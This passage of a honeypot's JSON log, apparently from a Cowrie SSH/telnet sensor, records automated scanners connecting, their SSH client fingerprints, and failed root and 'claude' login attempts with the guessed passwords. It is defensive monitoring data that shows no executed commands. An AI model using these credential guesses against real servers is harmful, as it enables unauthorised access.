sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:30.133649Z","src_ip":"163.227.230.54","session":"11805591b67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:30.230483Z","src_ip":"115.178.75.242","session":"e6238f2715ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Miller","message":"login attempt [root/Miller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:31.140595Z","src_ip":"163.227.230.54","session":"11805591b67a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:32.387910Z","src_ip":"163.227.230.54","session":"11805591b67a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":47034,"dst_ip":"159.203.135.109","dst_port":22,"session":"8c28c8035230","protocol":"ssh","message":"New connection: 184.94.212.80:47034 (159.203.135.109:22) [session: 8c28c8035230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:34.450632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:34.455470Z","src_ip":"184.94.212.80","session":"8c28c8035230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:34.519797Z","src_ip":"184.94.212.80","session":"8c28c8035230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"elemental","message":"login attempt [root/elemental] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:34.812977Z","src_ip":"184.94.212.80","session":"8c28c8035230","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":32814,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4c0071f8406","protocol":"ssh","message":"New connection: 43.153.0.59:32814 (159.203.135.109:22) [session: c4c0071f8406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:35.031371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:35.040835Z","src_ip":"43.153.0.59","session":"c4c0071f8406","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:35.111274Z","src_ip":"43.153.0.59","session":"c4c0071f8406","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13245","message":"login attempt [root/13245] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:35.417094Z","src_ip":"43.153.0.59","session":"c4c0071f8406","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:35.881789Z","src_ip":"184.94.212.80","session":"8c28c8035230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:36.488546Z","src_ip":"43.153.0.59","session":"c4c0071f8406","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":35188,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b8d8c30e6cc","protocol":"ssh","message":"New connection: 119.28.117.200:35188 (159.203.135.109:22) [session: 4b8d8c30e6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:47.744092Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:47.749085Z","src_ip":"119.28.117.200","session":"4b8d8c30e6cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:47.980233Z","src_ip":"119.28.117.200","session":"4b8d8c30e6cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:48.933796Z","src_ip":"119.28.117.200","session":"4b8d8c30e6cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:50.171278Z","src_ip":"119.28.117.200","session":"4b8d8c30e6cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":44218,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecc87350287b","protocol":"ssh","message":"New connection: 94.159.98.239:44218 (10.17.0.5:22) [session: ecc87350287b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:53.934394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:53.988327Z","src_ip":"94.159.98.239","session":"ecc87350287b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:54.121623Z","src_ip":"94.159.98.239","session":"ecc87350287b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987321","message":"login attempt [root/987321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:54.763790Z","src_ip":"94.159.98.239","session":"ecc87350287b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:59:56.708237Z","src_ip":"94.159.98.239","session":"ecc87350287b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:09.993891Z","src_ip":"115.190.168.136","session":"16903a79773c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":34250,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d1425957b1f","protocol":"ssh","message":"New connection: 115.190.168.136:34250 (159.203.135.109:22) [session: 2d1425957b1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:19.787079Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58706,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c8d087644eb","protocol":"telnet","message":"New connection: 192.119.13.58:58706 (10.17.0.5:23) [session: 8c8d087644eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:21.738981Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":42586,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbdf7a1279d9","protocol":"ssh","message":"New connection: 108.167.177.203:42586 (159.203.135.109:22) [session: bbdf7a1279d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:23.542833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:23.551357Z","src_ip":"108.167.177.203","session":"bbdf7a1279d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:23.578358Z","src_ip":"108.167.177.203","session":"bbdf7a1279d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:23.715410Z","src_ip":"108.167.177.203","session":"bbdf7a1279d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:24.745948Z","src_ip":"108.167.177.203","session":"bbdf7a1279d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":49740,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae54c84dd04","protocol":"ssh","message":"New connection: 207.154.230.149:49740 (159.203.135.109:22) [session: 2ae54c84dd04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:34.716842Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:34.723182Z","src_ip":"207.154.230.149","session":"2ae54c84dd04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:34.805430Z","src_ip":"207.154.230.149","session":"2ae54c84dd04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kopp","message":"login attempt [root/kopp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:35.167427Z","src_ip":"207.154.230.149","session":"2ae54c84dd04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:36.255473Z","src_ip":"207.154.230.149","session":"2ae54c84dd04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":40530,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfdf9b05bd7d","protocol":"ssh","message":"New connection: 184.94.212.80:40530 (159.203.135.109:22) [session: bfdf9b05bd7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:40.635107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:40.640045Z","src_ip":"184.94.212.80","session":"bfdf9b05bd7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:40.704289Z","src_ip":"184.94.212.80","session":"bfdf9b05bd7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:40.991825Z","src_ip":"184.94.212.80","session":"bfdf9b05bd7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:42.060839Z","src_ip":"184.94.212.80","session":"bfdf9b05bd7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":45318,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e15f89f76da","protocol":"ssh","message":"New connection: 163.227.230.54:45318 (159.203.135.109:22) [session: 5e15f89f76da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:47.877086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:00:47.881491Z","src_ip":"163.227.230.54","session":"5e15f89f76da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 